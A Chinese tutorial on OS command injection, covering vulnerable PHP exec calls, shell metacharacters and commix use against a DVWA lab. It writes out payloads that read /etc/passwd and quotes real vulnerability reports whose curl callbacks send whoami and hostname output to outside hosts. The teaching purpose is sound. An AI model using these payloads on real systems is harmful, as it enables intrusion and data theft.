1. 程式人生 > >命令註入和一個分享

命令註入和一個分享

區別 cst linux命令 ade odi 最新 特殊符號 2017年 就會

本文作者:i春秋簽約作家——夏之冰雪

系統命令註入是常見的一類漏洞,攻擊者可以繞過業務本身,在服務器上執行一個或多個系統命令。

在詳細介紹命令註入之前,有一點需要註意:命令註入與遠程代碼執行不同。他們的區別在於,遠程代碼執行實際上是調用服務器網站代碼進行執行,而命令註入則是調用操作系統命令進行執行。 雖然最終效果都會在目標機器執行操,但是他們還是有區別的,基於這個區別,我們如何找到並利用方式也是有所不同的。

和sql註入類似,sql註入是將sql語句放到請求數據中;而命令註入,則是將操作系統命令語句放到請求數據中。sql註入,需要判斷服務器實用的是哪個數據庫,而命令註入則需要判斷服務器的操作系統。

試想這樣一個業務場景,由於需要對不同網站進行測速,可能需要對外提供一個接口,接受一個網址,返回ping的結果。那麽,很有可能服務器就需要接受一個host,並調用系統ping指令。

大概的語句如下:

$target = $_REQUEST[ ‘host‘ ];
$cmd = shell_exec( ‘ping  ‘ . $target );

舉個網址(不要測試了,沒有漏洞,僅是舉例):

http://tool.zhengxianjun.com/ping

舉個網址(不要測試了,沒有漏洞,僅是舉例):

http://tool.zhengxianjun.com/ping

命令註入語句分析

對於參數host,如果我傳遞的是www.ichunqiu.com

,那麽會返回正常ping值,大概語句:

ping [url]www.baidu.com[/url]

但是如果我傳遞的是:

www.ichunqiu.com & cat /etc/passwd

那麽服務器接受後,就不止執行ping了,還會接著執行輸出/etc/passwd敏感文件的內容,因為語句如下:

ping [url]www.baidu.com[/url] & cat /etc/passwd

這裏,我們已經發現:

如何構造註入語句是成功關鍵。

$target = $_REQUEST[ ‘host‘ ];
$cmd = shell_exec( ‘ping "‘ . $target . ‘"‘);

也許大家會認為很簡單,直接在後面追加不就完了麽,但是請看下面這個php代碼:

$target = $_REQUEST[ ‘host‘ ];
$cmd = shell_exec( ‘ping "‘ . $target . ‘"‘);

在target兩邊,加了雙引號,這就導致如果我們直接傳遞剛才的攻擊語句就會失效,因為在雙引號裏,攻擊語句變成了普通字符串。

那麽,有沒有辦法繞過雙引號呢,最簡單的辦法就是像sql註入那樣,直接也加雙引號,讓前一句閉合。

但是,對於不同的業務場景,很有可能我們的變量放在了一個非常復雜的語句中,不是簡單一個雙引號就能閉合的。

這個時候,我們需要了解一下linux的命令執行技巧,這個技能可以讓我們更加透徹地理解命令註入攻擊。

  • linux特殊符號的用法

在linux中,有幾個符號在執行命令時非常特殊。

反引號,也叫倒引號, ` 位於鍵盤的Tab鍵的上方、1鍵的左方。它具有命令替換的含義,在一個命令中如果出現反引號語句,會先執行反引號裏面的內容,再執行外面內容。

舉例,正常情況輸出一句話,這句話用雙引號包起來:

$ echo "The date is date"
The date is date

如果,我將這句話裏面的最後那個date用反引號擴起來,那麽就會處罰執行date指令,在linux中,date代表時間含義。

$ echo "The date is `date`"
The date is 2017年 9月 1日 星期五 20時55分54秒 CST

也就是說,在攻擊中,我們可以不管是否有雙引號包圍,直接用反引號,執行觸發語句執行。

相比sql註入的嚴格要求,命令註入顯得容易成功的多。

對於反引號,哪些情況下可以觸發執行,我這裏給出詳細解釋:

如果執行成功,系統會sleep3秒,大家可以在自己linux機器上測試。

技術分享

除了這個符號,還有以下一些符號,都經常會出現在命令註入攻擊中:$ 美元符號

; 分號

| 豎線

  • 系統命令註入場景

在對企業進行安全測試時候,很少會發現系統註入漏洞。這是因為大部分情況下代碼業務主要是數據操作、文件操作、邏輯處理和api接口調用等,很少直接使用系統命令。

那麽,都會有什麽情況會調用系統命令呢?這個真不一定,有時候需要靠猜靠運氣,不過代碼不會無緣無故調用系統命令,細心研究還是會查到一些跡象的。比如對於圖片處理、大文件壓縮解壓、ppt轉pdf等,如果目標網站或者服務器接口提供這樣的功能,一般情況下代碼都會調用第三方軟件,這裏舉幾個例子:

1. 圖片加水印

接口(為了避免出發論壇的圖片轉換,刻意打成了下面這個樣子):

http ://w ww。test。com/add_water? src=test。jp g

經測試,此接口會對test.jpg加水印。

猜測代碼如下:

$image = $_GET("image");
exec("/use/bin/water " . "/var/www/image/" . $image);

water是系統安裝的加水印程序,image是接受的參數,此時image存在命令註入的可能。

2. ppt轉pdf

猜測代碼如下:

<?php
$ppt = $_GET("ppt");
exec("/use/bin/ppt2pdf " . "/var/www/ppt/" . $ppt);

和上面原理類似,ppt後面可以加命令註入攻擊語句。
除了可能調用系統軟件的這種情況,對於很多參數是url地址的,我們也要特別註意。如果某個程序為了省事,直接調用了系統curl命令,那麽我們就可以直接註入了。再有就是ping檢測功能,以及可能存在網絡通訊協議、網絡健康監測等功能附近,這些地方都有可能存在系統命令註入。

真實案例

列舉幾個烏雲上關於命令註入的漏洞,供學習和參考:

1. 網易163某站點存在隱式命令註入

簡要描述
網易163某站點存在隱式命令註入,可遠程執行任意Linux命令。

詳細說明
存在命令註入的是paopao.163.com的Referer,懷疑是某個日誌分析服務的問題:

GET /search/sycProduct HTTP/1.1
Referer: $(curl h ttp://paopao3.xxxx.dnslog. info/?whoami=`whoami`)
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/en
Host: [url]www.paopao.163.co[/url] m
Accept-Encoding: gzip,deflate
Accept: */*

上面我註入了curl和whoami命令。這個地方並不會馬上導致命令執行,而是每天淩晨大約0點到2點鐘被執行到。

漏洞證明

技術分享

如上圖所示,實際上paopao3和163這個子域名都被成功打回了。

2. 搜狐某站點隱式命令註入Getshell

簡要描述
搜狐某站點隱式命令註入getshell,利用HTTP request回顯命令的基本方法。

詳細說明
命令註入點:
[url=http://ldd.sohu.com/d/?c=c&r=$(curl http://www.lijiejie.com:52016/?hostname=`hostname`)[/url]

參數r可以註入Linux命令。上述鏈接是我將hostname通過curl打回web server。

技術分享

DVWA靶場

DVWA有個模塊較Command Injection,是專門用來練習命令註入的。

如圖,Command Injection模塊提供了ping的功能,輸入一個指定的ip,會返回ping的具體結果。通過功能,我們可以猜測到代碼用到了系統命令ping。

技術分享

當我們使用攻擊語句“ | pwd”時,即可查看到當前文件所在目錄,如圖。

技術分享

這裏不做深入展開,有興趣的可以自行研究具體攻擊方法。

為啥這麽著急?

因為,接下來我要給大家分享神器了。。。

  • Commix

對於存在命令註入的接口,我們可以利用漏洞接口操作服務器系統命令,擁有和網站相同的用戶執行權限。可是每次都通過接口進行註入操作,在通過回顯來查看結果,肯定很麻煩,用起來不舒服。

那麽有沒有什麽工具,能直接通過漏洞接口,進行交互式操作呢?

這裏介紹一款工具————Commix!

Commix可以幫助我們更高效的發現web應用中的命令註入攻擊相關漏洞,並通過漏洞提供交互式的操作。

git網址:

https://github.com/stasinopoulos/commix

指令參數很多,具體可使用help獲取,這裏不再詳細講述。提供幾個重要的命令:

目標:
-u URL,--url = URL  目標URL。
 
請求:
--data=DATA      要通過POST發送的數據字符串。
--host=HOST       HTTP主機頭。
--referer=REFERER    HTTP Referer標頭。
--user-agent=AGENT   HTTP用戶代理頭。
--random-agent    使用隨機選擇的HTTP User-Agent頭。
--cookie=COOKIE     HTTP Cookie頭。
--headers=HEADERS    額外標頭(例如「Header1:Value1 \ nHeader2:Value2」)。
--force-ssl      強制使用SSL / HTTPS。

我們用commix進行實戰,直接攻擊DVWA靶場。

我們用burpsuit進行網絡流量截獲,獲取DVWA發起ping請求時的數據,主要是得到cookie:

PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low’ –data ‘ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06d

然後啟動commix,用到了–headers選項,將cookie攜帶進去,命令如下:

python commix.py -u [url]http://192.168.3.108/vulnerabilities/exec/[/url] --headers=‘Cookie: PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low‘ --data ‘ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06d‘

技術分享

看上圖,大概流程如下:

1. 啟動,檢測版本是否最新,並提示用戶是否更新。

2. 檢測網址是否有重定向,是否跟隨重定向。

3. 詢問服務器操作系統,需要我們自行確認windows還是unix。

4. 開始批量進行註入攻擊測試。

一旦發現註入漏洞,會提示用戶是否進入交互式攻擊場景下,選擇是,就可以像操作命令行一樣操作目標服務器了,非常好用,如圖。

技術分享

不過對於返回數據貌似沒有換行,不是很美觀,比如這裏的ps aux,每個進程都擠到一起了。

總的來說,在命令註入測試中,commix是一款不錯的安全檢測工具。

命令註入和一個分享